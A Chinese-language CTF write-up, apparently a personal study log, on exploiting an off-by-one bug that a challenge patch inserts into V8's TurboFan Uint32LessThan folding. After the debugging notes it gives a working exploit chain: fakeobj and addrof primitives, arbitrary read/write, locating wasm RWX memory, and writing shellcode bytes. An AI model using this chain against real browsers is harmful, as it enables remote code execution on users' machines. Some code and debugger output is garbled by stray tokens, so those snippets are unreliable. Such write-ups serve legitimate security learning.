0 环境搭建
git reset --hard 7.7.2
git apply < ../diff.patch
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug
题目中给的是build.sh文件
u18@u18-oVirt-Node:~/v8/
#!/bin/bash
# needs depot_tools in the path
# git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# export PATH="$PATH:/path/to/depot_tools"
# https://chromium.googlesource.com/chromium/src/+/master/docs/linux_build_instructions.md
fetch --nohooks chromium
cd src
build/install-build-deps.sh
gclient runhooks
# https://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branches
git fetch --tags
git checkout f3ee5ef941cb <======
gclient sync
gn gen out/Default
pushd v8
git apply ../diff.patch
popd
autoninja -C out/Default chrome#
1 漏洞分析
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue())
首先拿到的patch 脚本如上图所示
pacth的地方是上面的对应源码中下面的位置
src/compiler/machine-operator-reducer.cc
这个函数应该是优化时进行节点的简化用的. 比如x < 0会被替换成false节点
这里patch的地方是’小于号’进行比较的时候, 将x < y的结果替换成x<y+1的结果(影响优化的时候的结果)
2 对漏洞的一些尝试
写的相对比较杂
2.1
起初的是利用下面的poc进行尝试
function foo(num)
{
let v = 1;
return (v<num);
}
const MAX_ITERATIONS = 100000;
print(foo(1));
print(foo(1));
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
%OptimizeFunctionOnNextCall(foo);
print(foo(1));
想法是,本来1<1是false结果,但是根据上面的patch脚本会优化成1<1+1,优化的时候会变成True节点,从而在优化图上有一定的体现
程序的运行结果如下图所示
Concurrent recompilation has been disabled for tracing.
false
false
---------------------------------------------------
Begin compiling method foo using TurboFan图
---------------------------------------------------
Finished compiling method foo using TurboFan
false
全部输出false
看一下优化图
可以看到speculativeNumberLessThan节点还是存在的, 并没有被替换
原因是我们将一个参数传进来作比较,优化器起初并不知道我们传得是Uint32(上面的patch针对的是Uint32)
2.2
针对上面的情况, 尝试将参数转化成局部变量
Poc2.js
function foo()
{
let v = 1;
var num = 1;
return (v<num);
}
const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行的结果如下
Concurrent recompilation has been disabled for tracing.
false
false
---------------------------------------------------
Begin compiling method foo using TurboFan
---------------------------------------------------
Finished compiling method foo using TurboFan
false
优化图谱(TyperLowering)
在TyperLowering 阶段优化图中已经没有了LessThan节点 并被替换成了false节点(上面的23号节点)
按照我的想法,应该是True节点呀….
调一下源码,看一下对应位置是如何优化的
然后并没有断下来, 说明程序并没有走我们patch的优化函数
猜测是类型出了问题,因为这个patch是只针对Uint32类型
// if(argg == 1)
// {
// %DebugPrint(oob);
// }
重新看patch中源码的位置, 对应的cc文件是machine-operator-reducer.cc,想起了前两天看的资料,这个文件中的函数应该是在TyperLowering阶段之后应用的,因为machiner 节点是这个优化之后的. 而且要得到的是Uint32类型的machine 节点,那么其对应的比较节点应该是Uint32Lessthan
2.3
因为我们希望Turbofan较晚的发现我们的比较数值,所以根据之前浮现的一个洞,想到了 let m = {o:1}的方法,使得优化的时候在Escape阶段才发现我们比较的对象
poc3.js
function foo()
{
let v = 1;
// var num = 1;
let m = {o:1};
return (v<m.o);
}
const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行结果
Concurrent recompilation has been disabled for tracing.
false
false
---------------------------------------------------
Begin compiling method foo using TurboFan
---------------------------------------------------
Finished compiling method foo using TurboFan
false
[Thread 0x7fbf10887700 (LWP 11350) exited]
[Thread 0x7fbf11088700 (LWP 11349) exited]
[Inferior 1 (process 11348) exited normally]
同样下断点调试源码,发现还是没有经过patch的地方
到现在面临的主要问题是,如何触发patch对应的Uint32Lessthan比较……
2.4
这个时候不知道如何继续下去,得想办法触发Uint32Lessthan比较,于是直接上bing搜…..
结果还真搜到了一篇文章
文章涉及的漏洞是chrome issue 762874,但是博主使用的v8版本与我之前浮现的不同,这个版本相对比较新,里面的优化流程略有不同,于是开始阅读文章,并同时加深一下之前浮现的洞的印象.博主使用的是v8 7.5.0
下面从博主的分析 优化图解 与 源码调试几方面搞清楚里面的优化流程
首先跟一下这个checkBound节点的优化流程
simplified-lowering.cc visitCheckbound函数
注意选中的那一行,从原来的消除checkBound节点,变成了将节点转化成CheckedUint32Bounds
之后继续追simplified-lowering之后的优化
在effect-Control-Linearizer.cc 中有对上面checkeduint32Bounds的优化,同样我们在这个函数的第四行看到了期待的<u>Uint32lessThan</u>, 在这里checkeduint32Bounds节点会变成Uint32lessThan节点以及一系列的其他节点
这个函数总共有两条分支,程序会走下面的kAbort….分支
xit+111> mov qword ptr [r13 + 0x2fd0], 1
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffed979d680 ◂— 0x7ffed979d680
01:0008│ 0x7ffed979d688 ◂— 0x6
02:0010│ rbp 0x7ffed979d690 —▸ 0x7ffed979d6c0 —▸ 0x7ffed979d720 —▸ 0x7ffed979d748 —▸ 0x7ffed979d7b0 ◂— ...
03:0018│ 0x7ffed979d698 —▸ 0x7f439444d40b (Builtins_InterpreterEntryTrampoline+299) ◂— mov rcx, rax
04:0020│ r15 0x7ffed979d6a0 —▸ 0x8e6c271f881 ◂— 0x21000004e4c70803
05:0028│ 0x7ffed979d6a8 —▸ 0x16d3aa8004d1 ◂— 0x16d3aa8005
06:0030│ 0x7ffed979d6b0 —▸ 0x8e6c271f881 ◂— 0x21000004e4c70803
07:0038│ 0x7ffed979d6b8 ◂— 0x22 /* '"' */
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────pwndbg> p params.mode()
$13 = (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CheckBoundsParameters::kAbortOnOutOfBounds
为了看这一步的优化情况,写一个JS,查看一下优化图解
两条分支如下
如果是True的话,就会返回我们访问的对象,如果是false的话就会到达ret
动态调试(运行起来之后才能在源码下断点)一下上面的流程
第一处
第二处断在下面的位置
打印一下index limit信息并进入到Uint32LessThan函数中这样写的话如何这样写的话如何
第三处断在了
In file: /home/u18/v8/src/compiler/machine-operator-reducer.cc
285 }
286 if (m.LeftEqualsRight()) return ReplaceBool(true); // x <= x => true
287 break;
288 }
289 case IrOpcode::kUint32LessThan: {
► 290 Uint32BinopMatcher m(node);shih
291 if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
292 if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
293 if (m.IsFoldable()) { // K < K => K
294 return ReplaceBool(m.left().Value() < m.right().Value() + 1);//比较的时候左边是index 右边是length
295 }
在effect-linearizaton阶段
如果是Ture就会到分支右侧的loadElement , 如果是False就会到unreachable
所以这里就涉及到了具体的漏洞位置,就是当访问数组的时候,其中有一个Uint32LessThan比较,优化返回True就越界成功了
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value() + 1);//比较的时候左边是index 右边是length
源码中patch的位置如上
所以如果length = 4 我们输入的index = 4实际上是优化出True, 可以访问
而oob[4]实现了off-by-one
2.5
尝试用数组越界进行漏洞的触发
function foo()
{
let oob = [1.0,1.1,1.2];
let m = {o:4};
return oob[m.o];
}0x7fffffff
// const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }0x7fffffff
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
同样在源码中下断点,查看触发情况
上面的脚本段在了下面的位置
输出一下节点的情况
0x7fffffffpwndbg> print m
$1 = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b2010c6c10
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::BinopMatcher<v8::internal::compiler::IntMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>, v8::internal::compiler::IntMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant> >:
left_ = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>> = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b201109628
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>:
value_ = 4,
has_value_ = true
}, <No data fields>},
right_ = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>> = {
<(anonymous namespace)::(anonymous namespace)::(anonymous namespace)::NodeMatcher> = {
node_ = 0x55b201109ae8
},
members of (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ValueMatcher<unsigned int, v8::internal::compiler::IrOpcode::kInt32Constant>:
value_ = 3,
has_value_ = true
}, <No data fields>}
}
可以看到right的value的值是3, left的value值是4(4<3+1 返回false)
对应到VisitcheckBound的源码
这里返回False会抛出异常, 导致segent fault
所以上面应该返回True才对
改一下上面的POC,改了一个数字而已
In file: /home/u18/v8/src/compiler/simplified-lowering.cc
1584 CheckBoundsParameters::kDeoptOnOutOfBounds;
1585 if (lowering->poisoning_level_ ==
1586 PoisoningMitigationLevel::kDontPoison &&
1587 (index_type.IsNone() || length_type.IsNone() ||
1588 (index_type.Min() >= 0.0 &&
► 1589 index_type.Max() < length_type.Min()))) {
1590 // The bounds check is redundant if we already know that
1591 // the index is within the bounds of [0.0, length[.
1592 mode = CheckBoundsParameters::kAbortOnOutOfBounds;
1593 }
1594 NodeProperties::ChangeOp(
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe524f3(m.left().Value() < m.right().Value() + 1)610 ◂— 0x524f3502524f3704
01:0008│ 0x7ffe524f3618 ◂— 0x7f0000000000
02:0010│ 0x7ffe524f3620 ◂— 0x0
03:0018│ 0x7ffe524f3628 ◂— 0x1ffffffff
04:0020│ 0x7ffe524f3630 —▸ 0x7ffe524f3650 ◂— 0xffffffff
05:0028│ 0x7ffe524f3638 ◂— 0x2ac9a897c
06:0030│ 0x7ffe524f3640 —▸ 0x7ffe524f7130 —▸ 0x5561445706c8 —▸ 0x5561445705f8 —▸ 0x5561445645e0 ◂— ...
07:0038│ 0x7ffe524f3648 —▸ 0x7ffe524f3700 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7fadada66dab
f 1 7fadada585ac
f 2 7fadada4cf10 v8::internal::compiler::RepresentationSelector::Run(v8::internal::compiler::SimplifiedLowering*)+432
f 3 7fadada47a47 v8::internal::compiler::SimplifiedLowering::LowerAllNodes()+199
f 4 7fadad9ef710
f 5 7fadad9e75b4
f 6 7fadad9ddfc1 v8::internal::compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+385
f 7 7fadad9dddad v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl()+413
f 8 7fadac91f626 v8::internal::OptimizedCompilationJob::ExecuteJob()+214
f 9 7fadac92a24c
f 10 7fadac923507
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i registers xmm0
xmm0 {
v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
jbefunction foo()
{
let oob = [1.0,1.1,1.2];
let m = {o:3}; <============改动的位置
return oob[m.o];
}
// const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
readline();
%OptimizeFunctionOnNextCall(foo);
print(foo());
这样上面的脚本就形成了off-by-one
之后的操作就如2019 *ctf oob了~~~
3 exp
3.1
基本的思路和*ctf oob类似 这里就不多写了
泄露map值
function foo()
{
// let oob;
// let obj_array;
oob = [1.0,1.1,1.2];
obj_array = [oob];//
let m = {o:3};
// if(argg == 1)
// {
// %DebugPrint(obj_array);
// %DebugPrint(oob);
// }
return oob[m.o];
}
// const MAX_ITERATIONS = 100000;
foo();
for(var i=0;i<MAX_ITERATIONS;i++)
{
foo();
}
// readline();
let float_array_map = foo();
console.log('[*] array map ===> '+hex(f2i(float_array_map)));
let obj_array_map = i2f(f2i(float_array_map)+0xa0);
console.log('[*] obj_array_map===> '+hex(f2i(obj_array_map)));
3.2
伪造float_obj
function fakeobj_opt(addr)
{
let array = [addr,addr];
let o = {x:2};
array[o.x] = obj_array_map;
return array
}
for(var i=0;i<0x10000;i++)
{
fakeobj_opt(float_array_map);
}//
function fakeObj(addr)//参数浮点型 返回值浮点型
{
// print(hex(f2i(addr)));
let ret = fakeobj_opt(addr);
// %DebugPrint(ret);
return ret[0];
}
var float_map_obj = fakeObj(float_array_map);//ｆａｋｅ
3.3
addrof原语
function addrof_opt(obj)
{
let array = [obj,obj];
let o = {x:2};
array[o.x] = float_map_obj;
return array;
}
var temp_obj = {"a":1};
for(var i=0;i<MAX_ITERATIONS;i++)
{
addrof_opt(temp_obj);
}//
function addrof(obj)//传入obj型 返回浮点
{
let ret = addrof_opt(obj);
// %DebugPrint(ret);
return ret[0];
}
3.4
任意地址读写
function abread(addr)//参数整形 返回值整形
{
let adddr = addrof(fake_array);
let test = fakeObj(i2f(f2i(adddr)-0x20));//这里的-0x..与上面fake_array的大小有关
// %DebugPrint(test);//这是个obj 不能print
// readline();
fake_array[2]=i2f(addr-0x10);
return f2i(test[0]);
}
function abwrite(addr,data)//参数为整
{
let adddr = addrof(fake_array);
let test = fakeObj(i2f(f2i(adddr)-0x20));
fake_array[2] = i2f(addr-0x10);
test[0] = i2f(data);
}
3.5
利用backstore写wasm_rwx
var share_info = abread(leak_f + 0x18);
console.log("[*] share_info ====> "+hex(share_info));
var wasm_data = abread(share_info+8);
console.log("[*] wasm_data ====> "+hex(wasm_data));
var wasm_instance = abread(wasm_data+16);
console.log("[*] wasm_instance ====> "+hex(wasm_instance));
var wasm_rwx = abread(wasm_instance+0x88);//这里都没有写－１ 因为obj
console.log("[*] wasm_rwx ====> "+hex(wasm_rwx));
//
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
let buf_new = new ArrayBuffer(0x200);
let dataview = new DataView(buf_new);
let leak_buf = f2i(addrof(buf_new));
let fake_write = leak_buf + 0x20;//get backstore
abwrite(fake_write,wasm_rwx);
console.log("[*] fake_write ====> "+hex(fake_write));
for(var i=0;i<shellcode.length;i++)
{
dataview.setUint8(i,shellcode[i],true);
}
// %DebugPrint(buf_new);
// %SystemBreak();
f();
4 利用效果
5 问题
关于题目：
如何找到v8 与 chrome的对应关系
关于优化：
调试的时候visit_check_bound 打印index_type 后来采用单步跟踪的方式
为什么length_type.Min()一定是最大值
In file: /home/u18/v8/src/compiler/simplified-lowering.cc
1584 CheckBoundsParameters::kDeoptOnOutOfBounds;
1585 if (lowering->poisoning_level_ ==
1586 PoisoningMitigationLevel::kDontPoison &&
1587 (index_type.IsNone() || length_type.IsNone() ||
1588 (index_type.Min() >= 0.0 &&yuejie
► 1589 index_type.Max() < length_type.Min()))) {
1590 // The bounds check is redundant if we already know that
1591 // the index is within the bounds of [0.0, length[.
1592 mode = CheckBoundsParameters::kAbortOnOutOfBounds;
1593 }
1594 NodeProperties::ChangeOp(
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe524f3610 ◂— 0x524f3502524f3704
01:0008│ 0x7ffe524f3618 ◂— 0x7f0000000000
02:0010│ 0x7ffe524f3620 ◂— 0x0
03:0018│ 0x7ffe524f3628 ◂— 0x1ffffffff
04:0020│ 0x7ffe524f3630 —▸ 0x7ffe524f3650 ◂— 0xffffffff
05:0028│ 0x7ffe524f3638 ◂— 0x2ac9a897c
06:0030│ 0x7ffe524f3640 —▸ 0x7ffe524f7130 —▸ 0x5561445706c8 —▸ 0x5561445705f8 —▸ 0x5561445645e0 ◂— ...
07:0038│ 0x7ffe524f3648 —▸ 0x7ffe524f3700 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7fadada66dab
f 1 7fadada585ac
f 2 7fadada4cf10 v8::internal::compiler::RepresentationSelector::Run(v8::internal::compiler::SimplifiedLowering*)+432
f 3 7fadada47a47 v8::internal::compiler::SimplifiedLowering::LowerAllNodes()+199
f 4 7fadad9ef710
f 5 7fadad9e75b4
f 6 7fadad9ddfc1 v8::internal::compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+385
f 7 7fadad9dddad v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl()+413
f 8 7fadac91f626 v8::internal::OptimizedCompilationJob::ExecuteJob()+214
f 9 7fadac92a24c
f 10 7fadac923507
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i registers xmm0
xmm0 {
v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
就是说一定会进入这个状态喽?
mode = CheckBoundsParameters::kAbortOnOutOfBounds;(m.left().Value() < m.right().Value() + 1)
这样写的话如何
function foo()
{
let oob = [1.0,1.1,1.2,1.4];
let m = {o:4};
return oob[4];
}
这样写的话如何
还是会走到compiler/machine-operator-reducer.cc 但是length值是0x7ff….
因为在LoadElimination Phase阶段，消除了LoadElement节点，idx变量被LoadElimination中的常数折叠直接消除了，无法加载数组进行访问。????
那~~~ 之前没有+1优化的时候 岂不是就可以直接越界?
关于脚本编写：
这里为什么一定要把let oob放到函数的里面 没有想清楚
关于运行时的问题：
泄露地址时出现下面的情况
0x2ec93f2e4cb1 <JSFunction 0 (sfi = 0x2ec93f2e4c79)>
[*] leak_f ====> 0x00002ec93f2e4cb1
0x32c0943f9681 <JSArray[2]>
[*] share_info ====> 0x7ff8000000000000
0x32c0943f9bc1 <JSArray[2]>
[*] wasm_data ====> 0x7ff8000000000000
0x32c0943fa0a1 <JSArray[2]>
[*] wasm_instance ====> 0x7ff8000000000000
0x32c0943fa589 <JSArray[2]>
[*] wasm_rwx ====> 0x7ff8000000000000
解决：
整数与浮点数的转化没有整明白
写函数的时候标注出来最好
6 参考
7 知识技巧
浮点数汇编比较
ucomisd S1,S2 S2-S1 比较双精度值
查看寄存器状态
pwndbg> i registers xmm1
xmm1 {
v4_float = {0x0, 0x2, 0x0, 0x0},
v2_double = {0x3, 0x0},
v16_int8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0x0, 0x0, 0x4008, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0x0, 0x40080000, 0x0, 0x0},
v2_int64 = {0x4008000000000000, 0x0},
uint128 = 0x00000000000000004008000000000000
}
pwndbg> i registers xmm0
xmm0 {
shibaishibai v4_float = {0x0, 0x1b, 0x0, 0x0},
v2_double = {0x7fffffff, 0x0},
v16_int8 = {0x0, 0x0, 0xc0, 0xff, 0xff, 0xff, 0xdf, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
v8_int16 = {0x0, 0xffc0, 0xffff, 0x41df, 0x0, 0x0, 0x0, 0x0},
v4_int32 = {0xffc00000, 0x41dfffff, 0x0, 0x0},
v2_int64 = {0x41dfffffffc00000, 0x0},
uint128 = 0x000000000000000041dfffffffc00000
在触发漏洞的时候如果加上debugprint往往触发失败
function foo(argg)
{
let oob = [1.0,1.1,1.2];
let m = {o:3};
// if(argg == 1)
// {
// %DebugPrint(oob);
// }
return oob[m.o];
}
可能由于代码变了 这次存在一个参数为１ 的判断
Fakeobj 其实就是存在一个obj的数组，将数组中的元素设置为你想伪造的类型的map值，
之后返回伪造的对象，虽然说伪造的对象与float值实现相等的，但是却是不同的意义
addrof 应用了数组的索引功能
任意地址读写应用的是数组的索引功能，伪造一个数组
根据一个特殊的array进行构造
几种跳过loadElement的方法
function opt(){
let arr = [0, 1, 2, 3];
let idx = 4;
idx &= 0xfff;
return arr[idx];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt()
console.log(x)
算数运算
function opt(){
let arr = [0, 1, 2, 3];
let o = {x: 4};
return arr[o.x];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt()
console.log(x)
function opt(x){
let arr = [0, 1, 2, 3];
let idx = (x="foo")?4:2;
return a[idx];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt("foo")
console.log(x)
无效的phi节点